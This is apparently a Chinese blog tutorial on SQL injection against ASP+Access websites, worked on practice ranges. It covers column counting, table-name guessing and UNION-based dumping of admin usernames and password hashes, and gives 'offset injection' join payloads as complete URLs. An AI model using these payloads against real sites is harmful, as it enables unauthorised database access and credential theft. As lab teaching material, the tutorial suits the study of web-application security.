SQL注入—Access注入,Access偏移注入

46 篇文章 25 订阅
22 篇文章 1 订阅

Access注入,Access偏移注入

Access数据库组成

表名
	列名
		数据

某access+asp注入靶场

image-20220211161614318

iis+asp+access

asp一般搭配access
PHP一般搭配mysql
aspx一般搭配msSQL

注入的条件是能够传参、与数据库互动,数据交互

get,post,cookie都可以注入

注入流程

1.1、进入一个可以传参的页面

http://127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513

1.2、判断注入点

'或者and 1=1,and 1=2

1.3、判断字段

127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 22

127.0.0.1/asp/Production/PRODUCT_DETAIL.asp?id=1513 order by 23

22返回正常,23报错说明字段数为22

image-20220211183835857

这里查的表实际上就是product表,查到22列

image-20220211165847892

1.4、判断表名

and exits (select * from admin),若存在表名为admin则回显正常,若不存在,回显错误

1.5、联合查询

union select

image-20220211211853892

由于是access数据库,只有表名、列名、内容,需要指定一个表

?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

一般admin就是存放管理员信息的表,access表名全靠猜

image-20220211184043411

试出来3和15,也就是说我们可以在3和15两个地方查数据,也就是查指定列数据

image-20220211171210185

http://117.24.12.33:10000/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

image-20220211184125945

此密码经过md5加密

猜解列名小技巧

查看后台(登录页)源代码

image-20220211171749341

image-20220211212045704

此靶场做过修改

Access偏移注入(知道表名,列名猜解不到时)

爆出显示位后,判断表内存在的字段个数

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin 错误
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin 错误

以此类推,直到。。。

127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正确

说明了admin表下有6个字段;

*代表 admin 表的字段数,计算*代替字符的位数。

Access偏移注入原理,基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案;

* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符

爆列名数据
一级偏移:
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果你发现,上面查看了网页源码也爆不出数据,请用以下方法:
二级偏移语句:
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
注意:这里是10个字段再减去了表里的6个字段,所以二级偏移这里是select 1,2,3,4

或者
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

此时查看源代码会有惊喜

image-20220211212455415

image-20220211183442523

墨者靶场练习

image-20220212210640685

image-20220212210722041

image-20220212210813422

密码经过md5加密

image-20220212211038547

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Shadow丶S

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值